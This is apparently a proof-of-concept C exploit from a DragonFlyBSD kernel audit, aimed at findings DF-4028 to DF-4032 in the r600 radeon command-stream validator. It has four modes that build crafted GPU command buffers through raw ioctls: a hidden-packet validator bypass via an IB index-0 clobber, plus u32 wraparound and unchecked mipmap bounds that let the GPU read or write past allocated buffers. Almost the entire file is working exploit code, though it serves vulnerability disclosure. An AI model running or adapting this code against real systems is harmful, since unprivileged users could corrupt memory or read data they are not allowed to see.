โฌข DragonFlyBSD Kernel Audit
DF-4032 / r600_cs_poc.c
โ† back to finding โ†“ download raw
/*
 * r600_cs_poc.c โ€” pass-2 PoC trigger for the DragonFly r600 CS validator
 * findings DF-4028 / DF-4029 / DF-4030 / DF-4031 / DF-4032.
 *
 * Self-contained: raw ioctl(2) only, no libdrm. Builds on any BSD/Linux.
 *
 * Modes:
 *   ib0      DF-4028: CB never programmed via CB_COLORn_SIZE ->
 *            r600_cs_track_validate_cb() writes its computed size dword to
 *            IB index 0 (default cb_color_size_idx==0), clobbering the first
 *            packet header AFTER validation -> GPU re-walks the IB from
 *            ib[0]=0 as a type0/count0 packet and executes the "hidden"
 *            stream stored in the first packet's payload (here: SET_ALU_CONST
 *            values, which the validator never inspects as packets).
 *   resource DF-4029/4030: PACKET3_SET_RESOURCE with 6 SQ_TEX_VTX_VALID_BUFFER
 *            resources. Reads use (i*7), writes use (i*8) -> validated
 *            base/size pairing desync; also demonstrates the u32
 *            (size+offset) wraparound bound-check bypass (offset=0xFFFFFF00,
 *            size=0x100 -> sum wraps to 0x0).
 *   strmout  DF-4031: VGT_STRMOUT_BUFFER_SIZE_0 = 0x40000000 (DWs).
 *            track->vgt_strmout_size = raw*4 wraps u32 to 0 -> kernel
 *            validates offset 0 <= bo_size, GPU bound register = 4 GiB.
 *   texmip   DF-4032: SQ_TEX_VTX_VALID_TEXTURE with llevel=9 on a 256-byte
 *            "mipmap" BO; r600_check_texture_resource()'s mipmap bounds
 *            check is commented out -> submission accepted, GPU texture
 *            walks ~340 KB past the mipmap BO.
 *
 * EXPECTED on hardware (r600/rv770 KMS, unprivileged render node / card0):
 *   - ioctl returns 0 for every mode (validator accepts);
 *   - for ib0: hidden-stream packets execute on the GPU (validator bypass);
 *   - for resource/strmout/texmip: GPU fetch/write past the reloc'd BO.
 *
 * OBSERVED on the audit QEMU guest: open("/dev/dri/card0") fails with
 * ENOENT โ€” no radeon GPU is present; run-time trigger not testable here.
 * See VERDICT.md / verdict.json in this pack.
 *
 * Usage: ./r600_cs_poc <ib0|resource|strmout|texmip>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

/* ------------------------------------------------------------------ */
/* DRM/radeon ABI (uapi headers, DragonFly radeon driver)              */

#define DRM_IOCTL_BASE 'd'
struct drm_radeon_gem_create {      /* DRM_IOCTL_RADEON_GEM_CREATE, nr 0x1d */
	uint64_t size;
	uint64_t alignment;
	uint32_t handle;
	uint32_t initial_domain;
	uint32_t flags;
};
struct drm_radeon_cs_chunk {        /* RADEON_CHUNK_ID_{RELOCS,IB,FLAGS} */
	uint32_t chunk_id;
	uint32_t length_dw;
	uint64_t chunk_data;
};
struct drm_radeon_cs {              /* DRM_IOCTL_RADEON_CS, nr 0x26 */
	uint32_t num_chunks;
	uint32_t cs_id;
	uint64_t chunks;    /* __u64 * -> drm_radeon_cs_chunk */
	uint64_t gart_limit;
	uint64_t vram_limit;
};
#define RADEON_GEM_DOMAIN_GTT 0x2
#define RADEON_GEM_DOMAIN_VRAM 0x4
#define RADEON_CHUNK_ID_RELOCS 0x01
#define RADEON_CHUNK_ID_IB     0x02
#define RADEON_CHUNK_ID_FLAGS  0x03

/* r600d.h packet / register constants used below */
#define PKT3(op, cnt)  (0xC0000000u | (((cnt) & 0x3FFF) << 16) | ((op) & 0xFF))
#define PKT2           0x80000000u
#define P3_NOP             0x10
#define P3_DRAW_INDEX_AUTO 0x2D
#define P3_SET_ALU_CONST   0x6A
#define P3_SET_CONTEXT_REG 0x69
#define P3_SET_RESOURCE    0x6D

#define REG_DB_DEPTH_CONTROL          0x28800
#define REG_CB_TARGET_MASK            0x28238
#define REG_CB_COLOR0_INFO            0x280A0
#define REG_CB_COLOR0_BASE            0x28040
#define REG_VGT_STRMOUT_EN            0x28AB0
#define REG_VGT_STRMOUT_BUFFER_EN     0x28B20
#define REG_VGT_STRMOUT_BUFFER_SIZE_0 0x28AD0
#define REG_VGT_STRMOUT_BUFFER_BASE_0 0x28AD8
#define CTX_OFF(reg)                 (((reg) - 0x28000) / 4)

#define VTX_VALID_BUFFER  0x3   /* word6 bits[31:30] */
#define VTX_VALID_TEXTURE 0x2

static int fd = -1;

static uint32_t gem_create(uint64_t size)
{
	struct drm_radeon_gem_create gc;
	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	gc.alignment = 4096;
	gc.initial_domain = RADEON_GEM_DOMAIN_VRAM | RADEON_GEM_DOMAIN_GTT;
	if (ioctl(fd, _IOWR(0x40 + 0x1d, 0, struct drm_radeon_gem_create), &gc)) {
		perror("GEM_CREATE");
		exit(1);
	}
	return gc.handle;
}

/*
 * submit_cs: build chunks and issue DRM_IOCTL_RADEON_CS.
 * relocs: 4-dword entries {handle, read_domain, write_domain, flags}.
 */
static int submit_cs(uint32_t *ib, uint32_t ib_dw, uint32_t *relocs, uint32_t reloc_dw)
{
	struct drm_radeon_cs_chunk chunks[3];
	uint64_t chunk_ptrs[3];
	struct drm_radeon_cs cs;
	uint32_t flags[3];

	flags[0] = 0;              /* no KEEP_TILING, no VM */
	flags[1] = 0;              /* GFX ring */
	flags[2] = 0;              /* priority */

	chunks[0].chunk_id = RADEON_CHUNK_ID_IB;
	chunks[0].length_dw = ib_dw;
	chunks[0].chunk_data = (uint64_t)(uintptr_t)ib;
	chunks[1].chunk_id = RADEON_CHUNK_ID_RELOCS;
	chunks[1].length_dw = reloc_dw;
	chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs;
	chunks[2].chunk_id = RADEON_CHUNK_ID_FLAGS;
	chunks[2].length_dw = 3;
	chunks[2].chunk_data = (uint64_t)(uintptr_t)flags;
	chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0];
	chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1];
	chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2];

	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 3;
	cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;
	return ioctl(fd, _IOWR(0x40 + 0x26, 0, struct drm_radeon_cs), &cs);
}

static void add_reloc(uint32_t *r, int *n, uint32_t handle)
{
	r[(*n) * 4 + 0] = handle;
	r[(*n) * 4 + 1] = RADEON_GEM_DOMAIN_VRAM | RADEON_GEM_DOMAIN_GTT; /* read */
	r[(*n) * 4 + 2] = RADEON_GEM_DOMAIN_VRAM | RADEON_GEM_DOMAIN_GTT; /* write */
	r[(*n) * 4 + 3] = 0;
	(*n)++;
}

int main(int argc, char **argv)
{
	const char *mode = argc > 1 ? argv[1] : "ib0";
	uint32_t ib[8192], relocs[8192];
	uint32_t i = 0;
	int nrel = 0;
	uint32_t bo;

	fd = open("/dev/dri/card0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open(/dev/dri/card0): %s โ€” no radeon DRM device "
			"on this machine; trigger is hardware-gated.\n",
			strerror(errno));
		return 2;
	}

	if (!strcmp(mode, "ib0")) {
		uint32_t hidden = 0;
		/*
		 * [0]  P3 SET_ALU_CONST count=64: payload values are never
		 *      validated as packets.  After the kernel clobbers ib[0]
		 *      with 0 (type0/count0 -> consumes ib[0],ib[1]) the GPU
		 *      re-starts executing AT ib[2] โ€” the "hidden" stream:
		 *      here one SET_CONTEXT_REG to SQ_PGM_START_PS (a
		 *      reloc-consuming register the validator would have
		 *      rejected without a trailing NOP) + NOP padding.
		 */
		ib[i++] = PKT3(P3_SET_ALU_CONST, 64);
		ib[i++] = 0;                     /* ALU const offset 0 */
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); /* hidden pkt #1 header  */
		ib[i++] = CTX_OFF(0x288CC);      /* SQ_PGM_START_PS โ€” no reloc! */
		hidden = i;                      /* ib[2..] == hidden stream    */
		while (i < 2 + 66)               /* pad payload with type2 NOPs */
			ib[i++] = PKT2;
		(void)hidden;
		/*
		 * Real (validated) setup:
		 *   DB_DEPTH_CONTROL = 0  (disable Z so validate_db is skipped)
		 *   CB_COLOR0_INFO   = COLOR_8, ARRAY_LINEAR_GENERAL, TILE_DISABLE
		 *   CB_TARGET_MASK   = 0xF (target 0 enabled)
		 *   CB_COLOR0_BASE   = 0 + reloc   (NOTE: no CB_COLOR0_SIZE!)
		 */
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_DB_DEPTH_CONTROL);
		ib[i++] = 0;
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_CB_COLOR0_INFO);
		ib[i++] = (1 << 2) | (0 << 8) | (0 << 14);  /* fmt COLOR_8 */
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_CB_TARGET_MASK);
		ib[i++] = 0xF;
		bo = gem_create(4096);
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_CB_COLOR0_BASE);
		ib[i++] = 0;                     /* offset 0 */
		ib[i++] = PKT3(P3_NOP, 0);       /* reloc NOP for CB_COLOR0_BASE */
		ib[i++] = nrel;                  /* reloc index 0 */
		add_reloc(relocs, &nrel, bo);
		ib[i++] = PKT3(P3_DRAW_INDEX_AUTO, 1);
		ib[i++] = 1;                     /* 1 instance */
		printf("ib0: CB_COLOR0_SIZE never written -> cb_color_size_idx[0]"
		       "==0 -> ib[0] := 0 after validation (ib[0] was 0x%08x)\n",
		       ib[0]);
	} else if (!strcmp(mode, "resource")) {
		uint32_t tiny, huge;
		int k = 6;
		tiny = gem_create(4096);          /* 4 KiB BO       */
		huge = gem_create(64 * 1024 * 1024); /* 64 MiB BO    */
		/*
		 * SET_RESOURCE, 6 buffer resources (count = 7*6 = 42).
		 * slot i: word0 = offset (u32), word1 = size-1, word6 = type 3.
		 * Reads at idx+1+(i*7)+n, writes at idx+1+(i*8)+{0,2}.
		 */
		ib[i++] = PKT3(P3_SET_RESOURCE, 42);
		ib[i++] = 0;                      /* resource offset 0 -> 0x38000 */
		for (int s = 0; s < k; s++) {
			uint32_t off = (s == 5) ? 0xFFFFFF00u : 0; /* DF-4030 wrap */
			uint32_t sz1 = (s == 5) ? 0xFFu : 0x3FFu;  /* size-1      */
			ib[i++] = off;             /* word0 base offset */
			ib[i++] = sz1;             /* word1 size - 1    */
			ib[i++] = 0;
			ib[i++] = 0;
			ib[i++] = 0;
			ib[i++] = 0;
			ib[i++] = VTX_VALID_BUFFER << 30; /* word6 type */
			add_reloc(relocs, &nrel, (s == 5) ? huge : tiny);
		}
		for (int s = 0; s < k; s++) {    /* trailing reloc NOPs */
			ib[i++] = PKT3(P3_NOP, 0);
			ib[i++] = s;
		}
		printf("resource: 6 VALID_BUFFER slots; slot5 offset=0xFFFFFF00 "
		       "size=0x100 -> (size+offset) wraps u32 -> accepted; "
		       "writes at (i*8) smear bases into later slots.\n");
	} else if (!strcmp(mode, "strmout")) {
		bo = gem_create(4096);
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_DB_DEPTH_CONTROL);
		ib[i++] = 0;                      /* disable Z */
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_VGT_STRMOUT_EN);
		ib[i++] = 1;
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_VGT_STRMOUT_BUFFER_EN);
		ib[i++] = 1;
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_VGT_STRMOUT_BUFFER_SIZE_0);
		ib[i++] = 0x40000000u;           /* 2^30 DWs; *4 wraps to 0 */
		ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0);
		ib[i++] = CTX_OFF(REG_VGT_STRMOUT_BUFFER_BASE_0);
		ib[i++] = 0;
		ib[i++] = PKT3(P3_NOP, 0);
		ib[i++] = nrel;
		add_reloc(relocs, &nrel, bo);
		ib[i++] = PKT3(P3_DRAW_INDEX_AUTO, 1);
		ib[i++] = 1;
		printf("strmout: SIZE_0=0x40000000 DWs -> kernel tracks size 0, "
		       "GPU bound register = 4 GiB.\n");
	} else if (!strcmp(mode, "texmip")) {
		uint32_t tex, mip;
		tex = gem_create(1024 * 1024);   /* 1 MiB texture BO */
		mip = gem_create(256);           /* 256-byte mipmap BO */
		ib[i++] = PKT3(P3_SET_RESOURCE, 7);
		ib[i++] = 0;
		/* word0: DIM=1(2D), array linear general, width=512, pitch 8px */
		ib[i++] = (1 << 0) | (((64 - 1) & 0x7FF) << 8) |
			  ((511 & 0x1FFF) << 19);
		/* word1: height=512, depth=0, format=COLOR_8 (1) */
		ib[i++] = (511 & 0x1FFF) | ((1 & 0x3F) << 26);
		ib[i++] = 0;                     /* word2 tex base offset */
		ib[i++] = 0;                     /* word3 mip base offset */
		ib[i++] = (0 << 28);             /* word4 BASE_LEVEL=0 */
		ib[i++] = 9;                     /* word5 LAST_LEVEL=9 */
		ib[i++] = VTX_VALID_TEXTURE << 30;
		ib[i++] = PKT3(P3_NOP, 0);       /* tex reloc */
		ib[i++] = nrel;
		add_reloc(relocs, &nrel, tex);
		ib[i++] = PKT3(P3_NOP, 0);       /* mip reloc */
		ib[i++] = nrel;
		add_reloc(relocs, &nrel, mip);
		printf("texmip: 512x512 R8, 10 levels -> mipmap_size ~341 KB vs "
		       "256-byte mipmap BO; check at r600_cs.c:1603 is a no-op "
		       "(commented out) -> accepted.\n");
	} else {
		fprintf(stderr, "unknown mode %s\n", mode);
		return 1;
	}

	printf("submitting CS (%u IB dwords, %u relocs)...\n", i, nrel);
	int r = submit_cs(ib, i, relocs, nrel * 4);
	printf("RADEON_CS -> %d (errno=%d %s)\n", r, errno, strerror(errno));
	return r == 0 ? 0 : 1;
}